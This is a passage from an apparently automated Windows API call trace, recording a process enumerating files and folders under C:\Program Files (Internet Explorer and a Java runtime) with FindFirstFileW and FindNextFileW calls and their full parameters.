dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0057.224] GetLastError () returned 0x12 [0057.224] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0057.224] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0057.224] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0057.224] GetLastError () returned 0x12 [0057.224] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0057.224] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0057.225] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6705d50, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6705d50, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0057.225] GetLastError () returned 0x12 [0057.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*" (normalized: "c:\\program files\\internet explorer\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6705d50, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6705d50, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0057.226] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6705d50, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6705d50, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.226] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263164e0, ftCreationTime.dwHighDateTime=0x1d87249, ftLastAccessTime.dwLowDateTime=0x6e2aec00, ftLastAccessTime.dwHighDateTime=0x1d8b018, ftLastWriteTime.dwLowDateTime=0x6e2aec00, ftLastWriteTime.dwHighDateTime=0x1d8b018, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bank_he.exe", cAlternateFileName="")) returned 1 [0057.226] GetLastError () returned 0x12 [0057.227] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*" (normalized: "c:\\program files\\internet explorer\\en-us\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0057.228] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.228] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0057.228] GetLastError () returned 0x12 [0057.228] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0057.229] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0057.229] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0057.229] GetLastError () returned 0x12 [0057.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*" (normalized: "c:\\program files\\internet explorer\\signup\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0057.230] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.230] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0057.230] GetLastError () returned 0x12 [0057.230] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0057.230] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0057.230] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0057.230] GetLastError () returned 0x12 [0057.230] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0057.230] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0057.231] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d1785a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0xc6b303d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6b303d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Java", cAlternateFileName="")) returned 1 [0057.232] GetLastError () returned 0x12 [0057.232] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\*" (normalized: "c:\\program files\\java\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d1785a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0xc6b303d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6b303d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0057.232] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d1785a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0xc6b303d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6b303d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.232] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1417f50, ftCreationTime.dwHighDateTime=0x1d8ab04, ftLastAccessTime.dwLowDateTime=0xfe72d200, ftLastAccessTime.dwHighDateTime=0x1d8b40a, ftLastWriteTime.dwLowDateTime=0xfe72d200, ftLastWriteTime.dwHighDateTime=0x1d8b40a, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="FILEZI~1.EXE")) returned 1 [0057.232] GetLastError () returned 0x12 [0057.233] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d1785a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4d98ae40, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4d98ae40, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0057.233] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d1785a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4d98ae40, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4d98ae40, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.233] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x442afc00, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44798960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44798960, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0057.233] GetLastError () returned 0x12 [0057.233] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\bin\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\bin\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x442afc00, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44798960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44798960, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0057.258] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x442afc00, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44798960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44798960, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.294] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x442afc00, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x442afc00, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x442afc00, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x4b40, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0057.294] GetLastError () returned 0x12 [0057.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\bin\\dtplugin\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\bin\\dtplugin\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44348180, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44348180, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44348180, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.300] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44348180, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44348180, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44348180, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.300] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44348180, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44348180, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44348180, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x1003c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1 [0057.300] GetLastError () returned 0x12 [0057.300] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.301] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.301] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44348180, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44348180, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44348180, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x77c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0057.301] GetLastError () returned 0x12 [0057.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\bin\\plugin2\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\bin\\plugin2\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447003e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x447003e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x447003e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.316] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447003e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x447003e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x447003e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.316] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x447003e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x447003e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x447003e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0057.316] GetLastError () returned 0x12 [0057.317] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.317] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.317] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x447003e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x447003e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x447003e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x43c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0057.317] GetLastError () returned 0x12 [0057.317] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\bin\\server\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\bin\\server\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447003e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x469d05a0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x469d05a0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.318] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447003e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x469d05a0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x469d05a0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.318] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0x469d05a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x469d05a0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x46a429c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x11e0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="classes.jsa", cAlternateFileName="")) returned 1 [0057.318] GetLastError () returned 0x12 [0057.319] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.319] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.319] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4474c6a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4474c6a0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4474c6a0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x43c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0057.319] GetLastError () returned 0x12 [0057.319] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0057.319] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0057.319] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44289aa0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44289aa0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44289aa0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0057.319] GetLastError () returned 0x12 [0057.319] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x45fb2820, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x45fb2820, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0057.323] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x45fb2820, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x45fb2820, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.330] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44798960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44798960, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.properties", cAlternateFileName="ACCESS~1.PRO")) returned 1 [0057.330] GetLastError () returned 0x12 [0057.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\amd64\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\amd64\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44798960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44798960, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.331] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44798960, 